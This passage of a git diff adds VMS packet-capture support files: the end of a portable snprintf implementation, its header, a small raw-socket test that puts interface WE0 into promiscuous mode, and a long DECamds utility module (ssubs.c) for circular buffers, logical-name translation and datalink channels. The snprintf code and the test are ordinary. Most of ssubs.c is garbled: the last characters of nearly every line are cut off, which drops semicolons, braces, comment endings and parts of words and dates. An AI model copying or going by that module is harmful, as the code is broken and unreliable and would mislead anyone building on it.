str_arg_l+=sprintf(tmp+str_arg_l, f, long_arg); break; +#ifdef SNPRINTF_LONGLONG_SUPPORT + case '2': str_arg_l+=sprintf(tmp+str_arg_l,f,long_long_arg); break; +#endif + } + } else { /* unsigned */ + switch (length_modifier) { + case '\0': + case 'h': str_arg_l+=sprintf(tmp+str_arg_l, f, uint_arg); break; + case 'l': str_arg_l+=sprintf(tmp+str_arg_l, f, ulong_arg); break; +#ifdef SNPRINTF_LONGLONG_SUPPORT + case '2': str_arg_l+=sprintf(tmp+str_arg_l,f,ulong_long_arg);break; +#endif + } + } + /* include the optional minus sign and possible "0x" + in the region before the zero padding insertion point */ + if (zero_padding_insertion_ind < str_arg_l && + tmp[zero_padding_insertion_ind] == '-') { + zero_padding_insertion_ind++; + } + if (zero_padding_insertion_ind+1 < str_arg_l && + tmp[zero_padding_insertion_ind] == '0' && + (tmp[zero_padding_insertion_ind+1] == 'x' || + tmp[zero_padding_insertion_ind+1] == 'X') ) { + zero_padding_insertion_ind += 2; + } + } + { size_t num_of_digits = str_arg_l - zero_padding_insertion_ind; + if (alternate_form && fmt_spec == 'o' +#ifdef HPUX_COMPATIBLE /* ("%#.o",0) -> "" */ + && (str_arg_l > 0) +#endif +#ifdef DIGITAL_UNIX_BUG_COMPATIBLE /* ("%#o",0) -> "00" */ +#else + /* unless zero is already the first character */ + && !(zero_padding_insertion_ind < str_arg_l + && tmp[zero_padding_insertion_ind] == '0') +#endif + ) { /* assure leading zero for alternate-form octal numbers */ + if (!precision_specified || precision < num_of_digits+1) { + /* precision is increased to force the first character to be zero, + except if a zero value is formatted with an explicit precision + of zero */ + precision = num_of_digits+1; precision_specified = 1; + } + } + /* zero padding to specified precision? */ + if (num_of_digits < precision) + number_of_zeros_to_pad = precision - num_of_digits; + } + /* zero padding to specified minimal field width? */ + if (!justify_left && zero_padding) { + int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); + if (n > 0) number_of_zeros_to_pad += n; + } + break; + } + default: /* unrecognized conversion specifier, keep format string as-is*/ + zero_padding = 0; /* turn zero padding off for non-numeric convers. */ +#ifndef DIGITAL_UNIX_COMPATIBLE + justify_left = 1; min_field_width = 0; /* reset flags */ +#endif +#if defined(PERL_COMPATIBLE) || defined(LINUX_COMPATIBLE) + /* keep the entire format string unchanged */ + str_arg = starting_p; str_arg_l = p - starting_p; + /* well, not exactly so for Linux, which does something inbetween, + * and I don't feel an urge to imitate it: "%+++++hy" -> "%+y" */ +#else + /* discard the unrecognized conversion, just keep * + * the unrecognized conversion character */ + str_arg = p; str_arg_l = 0; +#endif + if (*p) str_arg_l++; /* include invalid conversion specifier unchanged + if not at end-of-string */ + break; + } + if (*p) p++; /* step over the just processed conversion specifier */ + /* insert padding to the left as requested by min_field_width; + this does not include the zero padding in case of numerical conversions*/ + if (!justify_left) { /* left padding with blank or zero */ + int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); + if (n > 0) { + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memset(str+str_l, (zero_padding?'0':' '), (n>avail?avail:n)); + } + str_l += n; + } + } + /* zero padding as requested by the precision or by the minimal field width + * for numeric conversions required? */ + if ((int)number_of_zeros_to_pad <= 0) { + /* will not copy first part of numeric right now, * + * force it to be copied later in its entirety */ + zero_padding_insertion_ind = 0; + } else { + /* insert first part of numerics (sign or '0x') before zero padding */ + int n = zero_padding_insertion_ind; + if (n > 0) { + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memcpy(str+str_l, str_arg, (n>avail?avail:n)); + } + str_l += n; + } + /* insert zero padding as requested by the precision or min field width */ + n = number_of_zeros_to_pad; + if (n > 0) { + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memset(str+str_l, '0', (n>avail?avail:n)); + } + str_l += n; + } + } + /* insert formatted string + * (or as-is conversion specifier for unknown conversions) */ + { int n = str_arg_l - zero_padding_insertion_ind; + if (n > 0) { + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memcpy(str+str_l, str_arg+zero_padding_insertion_ind, + (n>avail?avail:n)); + } + str_l += n; + } + } + /* insert right padding */ + if (justify_left) { /* right blank padding to the field width */ + int n = min_field_width - (str_arg_l+number_of_zeros_to_pad); + if (n > 0) { + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memset(str+str_l, ' ', (n>avail?avail:n)); + } + str_l += n; + } + } + } + } +#if defined(NEED_SNPRINTF_ONLY) + va_end(ap); +#endif + if (str_m > 0) { /* make sure the string is null-terminated + even at the expense of overwriting the last character + (shouldn't happen, but just in case) */ + str[str_l <= str_m-1 ? str_l : str_m-1] = '\0'; + } + /* Return the number of characters formatted (excluding trailing null + * character), that is, the number of characters that would have been + * written to the buffer if it were large enough. + * + * The value of str_l should be returned, but str_l is of unsigned type + * size_t, and snprintf is int, possibly leading to an undetected + * integer overflow, resulting in a negative return value, which is illegal. + * Both XSH5 and ISO C99 (at least the draft) are silent on this issue. + * Should errno be set to EOVERFLOW and EOF returned in this case??? + */ + return (int) str_l; +} +#endif diff --git a/Pcap-VMS/pcap-vci/snprintf.h b/Pcap-VMS/pcap-vci/snprintf.h new file mode 100644 index 00000000..f7a14127 --- /dev/null +++ b/Pcap-VMS/pcap-vci/snprintf.h @@ -0,0 +1,26 @@ +#ifndef _PORTABLE_SNPRINTF_H_ +#define _PORTABLE_SNPRINTF_H_ + +#define PORTABLE_SNPRINTF_VERSION_MAJOR 2 +#define PORTABLE_SNPRINTF_VERSION_MINOR 2 + +#ifdef HAVE_SNPRINTF +#include +#else +extern int snprintf(char *, size_t, const char *, /*args*/ ...); +extern int vsnprintf(char *, size_t, const char *, va_list); +#endif + +#if defined(HAVE_SNPRINTF) && defined(PREFER_PORTABLE_SNPRINTF) +extern int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); +extern int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap); +#define snprintf portable_snprintf +#define vsnprintf portable_vsnprintf +#endif + +extern int asprintf (char **ptr, const char *fmt, /*args*/ ...); +extern int vasprintf (char **ptr, const char *fmt, va_list ap); +extern int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...); +extern int vasnprintf(char **ptr, size_t str_m, const char *fmt, va_list ap); + +#endif diff --git a/Pcap-VMS/pcap-vci/sock_raw.c b/Pcap-VMS/pcap-vci/sock_raw.c new file mode 100644 index 00000000..4deba164 --- /dev/null +++ b/Pcap-VMS/pcap-vci/sock_raw.c @@ -0,0 +1,48 @@ +#include /* Character type classification macros/routines */ +#include /* For VMS descriptor manipulation */ +#include /* I/O function code definitions */ +#include /* System service return status code definitions */ +#include /* System library routine prototypes */ +#include /* ANSI C Standard Input/Output */ +#include /* General utilities */ +#include /* String handling */ +#include /* VMS status code definitions */ +#include +#include +#include +#include +#include + +int main(void) +{ + int status; + int one = 1; + char buf[2048]; + int cc; + struct sockaddr_in rsock; + int fd; + struct ifreq ifr; + int len; + + fd = socket(AF_DLI, SOCK_RAW, IPPROTO_RAW); + + status = setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + strncpy(ifr.ifr_name, "WE0", sizeof(ifr.ifr_name)); + status = ioctl(fd, SIOCGIFFLAGS, &ifr); + ifr.ifr_ifru.ifru_flags |= IFF_PROMISC; + status = ioctl(fd, SIOCSIFFLAGS, &ifr); + + memset(&rsock, 0, sizeof(rsock)); + rsock.sin_family = AF_INET; + rsock.sin_port = 0; + rsock.sin_addr.s_addr = INADDR_ANY; +// strncpy(rsock.sa_data, "WE0", sizeof(rsock.sa_data)); + status = bind(fd, &rsock, sizeof(rsock)); + + len = sizeof(rsock); + cc = recvfrom(fd, buf, 1500,0, &rsock, &len); + + return 1; +} + diff --git a/Pcap-VMS/pcap-vci/ssubs.c b/Pcap-VMS/pcap-vci/ssubs.c new file mode 100644 index 00000000..b61b9f6c --- /dev/null +++ b/Pcap-VMS/pcap-vci/ssubs.c @@ -0,0 +1,2075 @@ +#module SSUBS X + + +** + +** COPYRIGHT (c) 1993, 1994, 1995, 1997 +** DIGITAL EQUIPMENT CORPORATION, MAYNARD, MASSACHUSETT +** ALL RIGHTS RESERVE + +** THIS SOFTWARE IS FURNISHED UNDER A LICENSE AND MAY BE USED AND COPI +** ONLY IN ACCORDANCE OF THE TERMS OF SUCH LICENSE AND WITH T +** INCLUSION OF THE ABOVE COPYRIGHT NOTICE. THIS SOFTWARE OR ANY OTH +** COPIES THEREOF MAY NOT BE PROVIDED OR OTHERWISE MADE AVAILABLE TO A +** OTHER PERSON. NO TITLE TO AND OWNERSHIP OF THE SOFTWARE IS HERE +** TRANSFERRE + +** THE INFORMATION IN THIS SOFTWARE IS SUBJECT TO CHANGE WITHOUT NOTI +** AND SHOULD NOT BE CONSTRUED AS A COMMITMENT BY DIGITAL EQUIPME +** CORPORATIO + +** DIGITAL ASSUMES NO RESPONSIBILITY FOR THE USE OR RELIABILITY OF I +** SOFTWARE ON EQUIPMENT WHICH IS NOT SUPPLIED BY DIGITA +** + + + + +** +** FACILIT + +** DECamds - DEC Availability Manager for Distrubuted Syste + +** ABSTRAC + +** This module contains a number of utility routines used by the consol +** the comm process, and RMCP. + +** NOTE WELL: Don't use any "global" structures... Make everything pass +** to the routine; otherwise, the headache of "special +** compilation will come into play. + +** MODIFICATION HISTOR +** +** NOTE: This module is a conversion of routines found in SSUBS.B3 +** and CLIENT.B32. There are edit histories there + +** X-18 SFW Steve Wride 26-JUN-20 +** Added device EIA0 to the device list + +** X-17 TGC Tom Carr 03-JUN-19 +** In preparation for the switch to V5.7 of the DECC compil +** which does alot more code checking, change the return ty +** for the routine return type from int to void, since nothi +** was ever returne + +** X-16 BWK Barry Kierstein 19-Dec-19 +** Added devices FAA0, FRA0, FWA0, ERA0 and EWA0 to the devi +** table list, and made the while statement that processes t +** list a bit cleare + +** X-15 BWK Barry Kierstein 18-Dec-19 +** When modifications were made to access the lock manager +** S2 space, a day-one bug was found. Turns out that in WINDOW. +** the routine set_window_title was inserting a '\0' in the by +** just outside the title buffer. This now was the low byte +** the return address of the function, so that the return fr +** AMDS$StartNodeWindow in routine DisplayActivateAction d +** not resume program execution where expected, but in the ca +** above that starts the single disk windo +** This took a LONG time to find, and in an effort not to +** bitten by overrunning sprintf statements, double the leng +** of each temporary buffer that sprintf uses as well as f +** the error in setting the byte just outside the title buffe +** Not the greatest solution, but the easiest to do witho +** a major examination of each buffe +** Ironically, trying to fix the buffer overrun by terminati +** the title string with a '\0' is really not fixing the probl +** as it ignores what other bytes have been run over by the sprin +** in the first plac +** Each buffer that has been doubled in size was done so +** adding "2*" to the dimension (e.g. 64 -> 2*64), so that t +** changes are easy to find. For the length of the title buffer +** a new constant was introduced so that the string truncati +** statements would work on the intended byt + +** X-14 JAF0956 John Ferlan 17-Feb-19 +** Fix trnlnm itemlists to be initialized and after the trnl +** call to make the string returned end with a 0.... trnl +** doesn't do that for you... was setting the amdscomm timeo +** interval to very large interval + +** X-13 JAF0945 John Ferlan 20-Jan-19 +** Modify printf's for memory allocation - also during debu +** period add check if our allocation will be too large f +** the "bigmem" or "biggermem" flags... would we be 'truncatin +** and masking i + +** X-12 JAF0921 John Ferlan 29-Nov-19 +** Make access to mem_list queues (insque/remque) be synch +** Also add a routine (mem_dump) to help debug memory leak + +** X-11 JAF0859 John Ferlan 12-Sep-19 +** Make some changes based on feedback from McCabe's tool +** Also, add code to get system page size and place that val +** in the page_size field (rather than the previous hardcoded 51 + +** X-10 JAF0817 John Ferlan 01-Jul-19 +** On mem_free force min block size of 12! If not, then pri +** an error and punt/return. We've overwritten somethin + +** X-9 JAF0813 John Ferlan 27-Jun-19 +** In mem_free check for badbloadr as error return from lib$free_ +** If present, don't signal it.. There are just too many combi +** ations that could cause the error to worry about... We'l +** keep the extra memory (or if we've already deleted, th +** it doesn't matter anyways! + +** X-8 JAF0793 John Ferlan 03-Jun-19 +** Change the way the global section is used. Make sure th +** data within the buffer is aligned on longword or quadwo +** boundaries based on architecture type (at build time). Th +** removes the need for some fields. + +** X-7 JAF0780 John Ferlan 26-May-19 +** Forgot to add code to copy good device name in translati +** of amds$device logica + +** X-6 JAF0774 John Ferlan 09-May-19 +** Trap some memory bugs and ignore a couple others. + +** X-5 JAF0764 John Ferlan 02-May-19 +** Fix bug in get_dl_chan, where return status was not returne + +** X-4 JAF0757 John Ferlan 20-Apr-19 +** Changes for VCI... Split out P2 buffer fill routine so th +** RMCP can call it separately... Modify channel startup t +** remove any RMCP dependancies... such as print out routine + +** JAF0758 John Ferlan 20-Apr-19 +** Changes for AXP console... The $CRMPSC service requires t +** page size for AXP's to be a pagelet not a page... So don +** need to create/map the file based on different page sizes. + + +** X-3 JAF0747 John Ferlan 09-Feb-19 +** Change the term ethernet to LAN, where appropriatee... Al +** references to hardware and physical addressing, so tha +** hardware and physical refer to the 08-00-2b and use DECn +** instead of what was physical. + +** X-2 JAF0715 John Ferlan 17-Nov-19 +** Make DLLIST and MEM_LIST be static structur +** Only start one channel when use amds$comm process in dl_sta + +** X-1 JAF0708 John Ferlan 10-Nov-19 +** New module, a bliss to c port of SSUBS.B32 and CLIENT.B32. +** With some changes made for continuous improvemen + +** Added two new adapters to the list.. ICA0 and IRA +** + + + + + +** INCLUDE FIL + + + + + * This should be the only include file. All other inclusions are do + * within the context of this fi + +#include "src$:sprcdecls.h +#include "src$:nmadef.h" /* NMA definitions + + + +** TYPEDE + + + + + + +** TABLE OF CONTEN + + + + * Shared global section handling routin + +extern int util$alloc_circ_buffer ( +extern int util$circ_bytes_used ( +extern int util$circ_bytes_free ( +extern int util$put_circ ( +extern int util$get_circ ( + +extern int AMDS$if_true ( +extern int AMDS$lnm_getint_value ( + +static int get_dl_chan (); /* Open channel to the datalink +extern void AMDS$Fill_P2 (); /* Fills the P2 desc with data +extern int AMDS$Check_amdsdevice_log(); /* Checks AMDS$DEVICE logical valid +extern int AMDS$startup_dl (); /* Start the datalink channel... +extern void report_we_are_lost ( + +extern void init_mem_queues (); /* Initialize the memory queues +static void list_mem_queues (); /* Debug routine +extern int mem_alloc ( +extern void mem_free ( + + + +** EXTERNAL REFERENC + + +extern CSDB *console_block + + + + +** MACRO DEFINITIO + + +#define MAX_CHANS 9 /* We'll support up to 8, with the ninth entry null + +#define MIN_BLOCK_SIZE AMEM$K_LENGTH + 12 /* 12 is fl/bl/siz/typ/subtyp +#define MAX_BLOCK_SIZE 4747 /* A guess... + + + + * The following constants are used for alignment in the global section buffe + + * For VAX we use longword alignment, since it's a performance enhance + + * For AXP we use quadword alignment, since it's part of the architectur + + * Also on AXP systems, we've had read/write ordering problems between th + * two processes (console and AMDS$COMM + +#if defined(VAX) || defined(__VAX) || defined (vax) || defined (__va +#define CBF_ADD +#define CBF_ALIGN 0xFFFFFFF +#define CBF_MIN 4 /* Minimum bytes that have to be there... +#el +#define CBF_ADD +#define CBF_ALIGN 0xFFFFFFF +#define CBF_MIN 8 /* Minimum bytes that have to be there... +#end + + +** DECLARATIO + + +static int virpagcn +static int page_siz +static int acount = +static int dcount = +#if DEB +static int lastallocaddr = +#end +struct MEMLI + + int mem_q_f + int mem_q_b + int mem_q_siz + int mem_q_le + int mem_q_ma + int mem_q_loc +}; +static struct MEMLIST mem_list[ AMEM$K_INVALID ] = { + 0, 0, AMEM$K_SML_Q_SIZ, 0, AMEM$K_SML_Q_MAX, + 0, 0, AMEM$K_MED_Q_SIZ, 0, AMEM$K_MED_Q_MAX, + 0, 0, AMEM$K_LGE_Q_SIZ, 0, AMEM$K_LGE_Q_MAX, + 0, 0, AMEM$K_XLG_Q_SIZ, 0, AMEM$K_XLG_Q_MAX, + 0, 0, AMEM$K_XXL_Q_SIZ, 0, AMEM$K_XXL_Q_MAX, + 0, 0, AMEM$K_ECM_Q_SIZ, 0, AMEM$K_ECM_Q_MAX, + 0, 0, AMEM$K_HUG_Q_SIZ, 0, AMEM$K_HUG_Q_MAX, + + +static int AMDS$gblsec_sysgbl = +static int AMDS$gblsec_group = +static char errstr[132]; /* module level error string + +struct DLLIS + + int devlist_inde + int dl_cha +}; + +static int rm_active = 0; /* Boolean for using RMA0 as channel +static int dl_chan_count = 0; /* Number of datalink channels... +static struct DLLIST dl_chanlist [MAX_CHANS] = {/* Initialize our channel + 0, 0, /* list. This is basically an array + 0, 0, /* of all available datalink + 0, 0, /* channels... Some systems + 0, 0, /* support up to 8 adaptors of + 0, 0, /* one kind... Not sure if that + 0, 0, /* means 8 DEBNI plus 8 DEMNA plus + 0, 0, /* 8 DEMFA... But if we have more + 0, 0, /* 8 we'll punt anyways... + 0, 0 + + + + * Current list of supported devices. Ensure that the " " is the la + * 'device' in the list, as it is the marker to end the list.. I.e. if + * get here, they're aren't anymore LAN devices to connect t + */ +static char *devlist [] = { "RMA0", /* Ourself? only when comm + "AMDS$DEVICE", /* Logical name + "FXA0", /* FDDI + "FCA0 + "ECA0", /* Turbochannel to LAN + "ICA0", /* Turbochannel to Token Ring + "IRA0", /* EISA to Token Ring + "XEA0", /* All below are Ethernet + "XQA0 + "EFA0 + "ETA0 + "ESA0 + "EXA0 + "EZA0 + "FAA0 + "FRA0 + "FWA0 + "ERA0 + "EWA0 + "EIA0 + " " + + +extern int util$alloc_circ_buffer ( int size, int *bufaddr + struct dsc$descriptor *name + +** + +** FUNCTIONAL DESCRIPTI + +** This routine will allocate a circular buffer for send and the consol +** to use when communicating. This buffer will be a global sectio + +** FORMAL PARAMETE + +** size is the byte size of the data buffer to allocate, and should +** at least as large as the largest data message + 1. Passed b +** reference. +** +** buf is the address of a variable to receive the address of the fir +** byte in the buffer (low byte of the SIZE longword + +** name (optional) is a global section name passed by descriptor. +** supplied, the circular buffer will be allocated in a global section s +** named. At this time this argument is require + +** IMPLICIT INPUTS Non + +** IMPLICIT OUTPUTS Non + +** RETURN VAL +** +** status is returned stat + +** SIDE EFFECTS: Non + +** + + + int inadr[2]; /* params to global section routine + int retadr[2] + + int numpgs = ( size + CBF$K_HEADER_LENGTH + 512 - 1 ) / 51 + + CBF *bu + + int gblsec_fl = ( SEC$M_GBL | SEC$M_WRT | SEC$M_PAGFIL + int statu + + $DESCRIPTOR ( sysgbl_lnm, "AMDS$GBLSEC_SYSGBL" + + + / + * Check for which type of global section group or syst + + if ( AMDS$if_true ( &sysgbl_lnm ) + + gblsec_fl |= SEC$M_SYSGB + AMDS$gblsec_sysgbl = + + el + AMDS$gblsec_group = 1; /* default + + + * Get some memory for the global secti + + status = sys$expreg ( numpgs, &inadr[0], 0, 0 + if ( status != SS$_NORMAL + return ( status + + + * Create the mapped secti + + status = sys$crmpsc ( &inadr[0], &retadr[0], PSL$C_USER, gblsec_f + name, 0, 0, 0, numpgs, 0, 0, 0 + buf = ( CBF *) inadr[0 + if ( status == SS$_CREATED + + buf->CBF$L_SIZE = ( numpgs * 512 ) - CBF$K_HEADER_LENGT + buf->CBF$L_IN = + buf->CBF$L_OUT = + + *bufaddr = bu + return ( status + + + + +extern int util$circ_bytes_used ( CBF *buf + +** +** FUNCTIONAL DESCRIPTIO +* +** Returns number of bytes currently used in a circular buffe +* +** NOTE: This call is completed regardless of the fact that someon +** may be currently changing the pointers.. All this ca +** is designed to do is to return the number of bytes current +** not in use. It is up to the call process to figure out i +** it can do its operatio + +** FORMAL PARAMETER +* +** buf - Pointer to CBF structu +** +** IMPLICIT INPUTS: No +* +** IMPLICIT OUTPUTS: No +* +** ROUTINE VALU +* +** Count of bytes Use +* +** SIDE EFFECTS: No +* +** + + + int nbyte + nbytes = buf->CBF$L_IN - buf->CBF$L_OU + if ( nbytes >= 0 + return ( nbytes + el + return ( buf->CBF$L_SIZE + nbytes + + + +extern int util$circ_bytes_free ( CBF *buf + +** +** FUNCTIONAL DESCRIPTIO +* +** Returns number of bytes currently free in a circular buffe +* +** NOTE: This call is completed regardless of the fact that someon +** may be currently changing the pointers.. All this ca +** is designed to do is to return the number of bytes current +** not in use. It is up to the call process to figure out i +** it can do its operatio + +** FORMAL PARAMETER +* +** buf - Pointer to CBF structu +* +** IMPLICIT INPUTS: No +* +** IMPLICIT OUTPUTS: No +* +** ROUTINE VALU +* +** Count of bytes FRE +* +** SIDE EFFECTS: No +* +** + + + int nbyte + nbytes = buf->CBF$L_OUT - buf->CBF$L_I + if ( nbytes > 0 + return ( nbytes + el + return ( buf->CBF$L_SIZE + nbytes + + + +extern int util$put_circ ( int nbyt, CBF *buf, unsigned char *data + +** + +** FUNCTIONAL DESCRIPTI + +** The PUT process uses this routine to write data to the buffe + +** If there are at least nbyt+1 bytes in the buffer, UTIL$PUT_CIRC copie +** them into the buffer and advances the IN pointer appropriately. +** Normal return with SS$_NORMAL statu + +** If there is not enough free space in the buffer, UTIL$PUT_CIRC retur +** the status code SS$_TOOMUCHDATA and does not change the pointer + +** When PUT gets NBYT bytes of data to give to GET +** PUT checks to see if there is room in the buffer. This can happen i +** eithe +** (P1) OUT > IN, in which case there are exactly OUT-IN bytes fr + +** (P2) OUT <= IN, in which case there are exactly SIZE+OUT-IN byt +** fr + +** It is important that there be MORE THAN NBYT BYTES FREE. You are no +** allowed to exactly fill the buffer, since that would result in th +** pointers being advaced until OUT=IN, which indicates an empty buffe +** This results in the following alternative + +** If there are more than NBYT bytes available, store the NBYT byte +** in the buffer and advance IN by NBYT. It may GET two move oper +** tions to store the data. +* +** Do not store anything in IN until all the move operations are don +** then store only the correct final value + +** If there are NBYT or less bytes available, stall until GET remove +** some of the data from the buffe + +** IN is changed only by the PUT proces + +** FORMAL PARAMETE + +** nbyt Number of bytes of data to send (passed by reference + +** buf The address of the first byte of the circular buffe + +** data The address of the first byte to be written to the buff + +** IMPLICIT INPUTS Non + +** IMPLICIT OUTPUTS Non + +** RETURN VAL +** +** Status (SS$_NORMAL or SS$_TOOMUCHDAT +** +** SIDE EFFECTS: Non + + +** +*/ + + int fre_bytes, end_byt + unsigned char *add + + + * If the number of bytes to put into the gblsec is less than our minim + * value, return an error... This value is architecture specific dependi + * on whether or not we're doing long or quad word alignmen + + if ( nbyt < CBF_MIN + return ( SS$_BADPARAM + + + * This should never hold true, since we check to make sure we have + * least room enough for two ECM's in the global section before ever tryi + * to write to it, but one never know + + * Note: Gotta have the >= because, if exact then IN would equal OU + * which would mean there's nothing in ther + */ + fre_bytes = util$circ_bytes_free ( buf + if ( nbyt >= fre_bytes + + return ( SS$_TOOMUCHDATA + + + /* + * See if one contiguous chunk or two separate chunks. Since we kn + * we already have room in the buffer, all we need do is ask if the + * is space from IN to LIMIT -- we can't overrun OU + + if ( ( nbyt + buf->CBF$L_IN ) < buf->CBF$L_SIZE + { + addr = buf->CBF$A_DATA + buf->CBF$L_I + memcpy ( addr, data, nbyt + + + * Let's figure out where the "next" buffer will appear assuming w + * desire longword alignmen + + end_byte = ( nbyt + CBF_ADD ) & CBF_ALIGN + buf->CBF$L_IN += end_byt + + el + + int segsiz = buf->CBF$L_SIZE - buf->CBF$L_I + + + * Move in two chun + + addr = buf->CBF$A_DATA + buf->CBF$L_I + memcpy ( addr, data, segsiz + addr = buf->CBF$A_DATA; /* Move pointer + memcpy ( addr, &data[segsiz], ( nbyt - segsiz ) + + * Let's figure out where the "next" buffer will appear assuming w + * desire longword alignmen + + end_byte = ( (nbyt-segsiz) + CBF_ADD ) & CBF_ALIGN + buf->CBF$L_IN = end_byt + + return ( SS$_NORMAL + + +extern int util$get_circ ( int nbyt, CBF *buf, unsigned char *data + +** +** FUNCTIONAL DESCRIPTIO + +** If there are at least nbyt bytes of data in the buffer, UTIL$GET_CI +** copies them from the buffer and advances the OUT pointer appropriatel +** Normal return with SS$_NORMAL statu + +** If there are not at least nbyt bytes of data in the buffer, retur +** the status code SS$_NODATA and do not change the pointer + +** If the PUT and GET processes are using fixed-size messages th +** one call to UTIL$GET_CIRC is all that is required to read a messag +** If instead the message size is variable then some convention will +** needed so that GET will be able to determine the number of bytes +** request, lest an abutting message be read as part of one reques +** This can be accomplished by various PUT/GET conventions. For examp +** PUT could store a longword of length before the message, and GET cou +** make two calls to UTIL$GET_CIRC, first a four-byte "length" reques +** then a second "data" request, passing the returned "length" valu + +** FORMAL PARAMETERS: + +** nbyt = Number of bytes to be read from the buff + +** buf = The address of the first byte of the circular buffe + +** data = The address of where the buffer contents are to be writt + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: + +** Status. (SS$_NORMAL and SS$_NODATA + +** SIDE EFFECTS: no +** + + + int usd_bytes, end_byt + unsigned char *add + + + * If the number of bytes to take out of the gblsec is less than our minim + * value, return an error... This value is architecture specific dependi + * on whether or not we're doing long or quad word alignmen + + if ( nbyt < CBF_MIN + return ( SS$_BADPARAM + + + * The following should never be true, but we must check + */ + usd_bytes = util$circ_bytes_used ( buf + if ( usd_bytes < nbyt + return ( SS$_NODATA + + + * If we don't need to "wrap" to the head and we can get in one chunk. + + if ( ( buf->CBF$L_SIZE - buf->CBF$L_OUT ) >= nbyt + + addr = buf->CBF$A_DATA + buf->CBF$L_OUT + memcpy ( data, addr, nbyt + + + * Let's figure out where the "next" buffer will appear assuming w + * desire longword alignmen + + end_byte = ( nbyt + CBF_ADD ) & CBF_ALIGN + buf->CBF$L_OUT += end_byte; + + el + + int segsiz = buf->CBF$L_SIZE - buf->CBF$L_OU + + + * Otherwise, we need to move the data in two chunks, first t + * "end" of the buffer, then start at the head again. + + addr = buf->CBF$A_DATA + buf->CBF$L_OUT + memcpy ( data, addr, segsiz + addr = buf->CBF$A_DAT + memcpy ( &data[segsiz], addr, ( nbyt - segsiz ) + + * Let's figure out where the "next" buffer will appear assuming w + * desire longword alignmen + + end_byte = ( (nbyt-segsiz) + CBF_ADD ) & CBF_ALIGN + buf->CBF$L_OUT = end_byt + + return ( SS$_NORMAL + + + + +extern int AMDS$if_true ( struct dsc$descriptor *ldesc + +** +** FUNCTIONAL DESCRIPTIO + +** This routine try's to translate the logical name provided as inp +** and returns a status of 1 (TRUE) if the first character of t +** equivalence name is a T(rue), E(nable), Y(es) or 1. Otherwise +** 0 (FALSE) is returne + +** FORMAL PARAMETERS: + +** ldesc Pointer to a string descriptor of the logical nam + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: + +** 1 or 0 true/fal + +** SIDE EFFECTS: no +** + + + int status; + + int mask = LNM$M_CASE_BLIN + char t_buffer[32 + int retlen = + struct _itmlst trnlnm_itmlst[] = + 32, LNM$_STRING, &t_buffer, &retle + 0, 0, 0, 0 + + $DESCRIPTOR ( lnm_tbl, "LNM$FILE_DEV"); + + t_buffer[0] = + status = sys$trnlnm ( &mask, &lnm_tbl, ldesc, 0, trnlnm_itmlst + t_buffer[retlen] = + if ( status == SS$_NORMAL + + + * Upcase the first charact + + if ( t_buffer[0] >= 'a' && t_buffer[0] <= 'z' + t_buffer[0] -= 0x2 + + + * Check for valid affirmative respons + + if ( t_buffer[0] == 'T' || /* True + t_buffer[0] == 'Y' || /* Yes + t_buffer[0] == 'E' || /* Enable + t_buffer[0] == '1' ) /* 1 + + return ( 1 + + + return ( 0 + + + + +extern int AMDS$lnm_getint_value ( struct dsc$descriptor *ldesc + +** +** FUNCTIONAL DESCRIPTIO + +** This routine will attempt to parse the incoming logical name a +** return a value if the logical name is parsed. + +** FORMAL PARAMETERS: + +** ldesc Pointer to a string descriptor of the logical na + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: + +** Integer value for logical name translatio + +** SIDE EFFECTS: no +** + + + int statu + int ret_value = + + int mask = LNM$M_CASE_BLIN + char t_buffer[32 + int retlen = + struct _itmlst trnlnm_itmlst[] = + 32, LNM$_STRING, &t_buffer, &retle + 0, 0, 0, 0 + + $DESCRIPTOR ( lnm_tbl, "LNM$FILE_DEV" + + t_buffer[0] = + status = sys$trnlnm ( &mask, &lnm_tbl, ldesc, 0, trnlnm_itmlst + t_buffer[retlen] = + if ( status == SS$_NORMAL ) ret_value = atoi ( t_buffer + return ( ret_value + + + + +extern void report_we_are_lost ( int errlen, char *errstr + + + +** +** FUNCTIONAL DESCRIPTIO + +** This is the central repository to report all types of cannotgethere +** and shouldnotgethere' + +** FORMAL PARAMETERS: + +** errlen Length of error stri + +** errstr Error stri + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** +*/ + + lib$signal ( AMDS$_CANNOTGETHERE, 2, errlen, errstr + + + +static int check_rm_active + +** +** FUNCTIONAL DESCRIPTION + +** This function returns 1 if the driver is available to be use +* +** INPUT + + +** OUTPUT + +** Status = From the $ASSIGN servi + +** + + + int dev_desc [2] = {0, 0 + int chan; /* channel + short int status; /* status + int retval = 0; /* Assume not... + + + * Assigna changle to rmdriver. + + dev_desc [0] = strlen(devlist[0] + dev_desc [1] = devlist[0 + status = sys$assign ( &dev_desc, &chan, 0, 0 + + /* + * If we are RMA0, we need to check if we're enabled as wel + + if ( status == SS$_NORMAL + + short int iosb [4]; /* Standard I/O Status Block + int dvi_devst + itmlst getdvi_itmlst [] = { /* Define GETDVI item list + 4, DVI$_DEVSTS, &dvi_devsts, 0 + 0, 0, 0, 0 + + status = sys$getdviw ( 0, chan, &dev_desc, getdvi_itmlst + iosb, 0, 0, 0 + + * If we are not started, then deassign chann + + if ( ( dvi_devsts & RM$M_READY ) == 0 + sys$dassgn ( chan + el + { + dl_chanlist[ dl_chan_count ].devlist_index = + dl_chanlist[ dl_chan_count ].dl_chan = cha + dl_chan_count+ + rm_active = + retval = + + + return ( retval + + + +static int get_dl_chan ( + +/ +** +** FUNCTIONAL DESCRIPTION + +** This routine will attempt to open up a channel to all foun +** adaptors. +* +** INPUT + +** non + +** OUTPUT + +** Status = From the $ASSIGN servi + +** +*/ + + int idx; /* Loop + int userdefined = 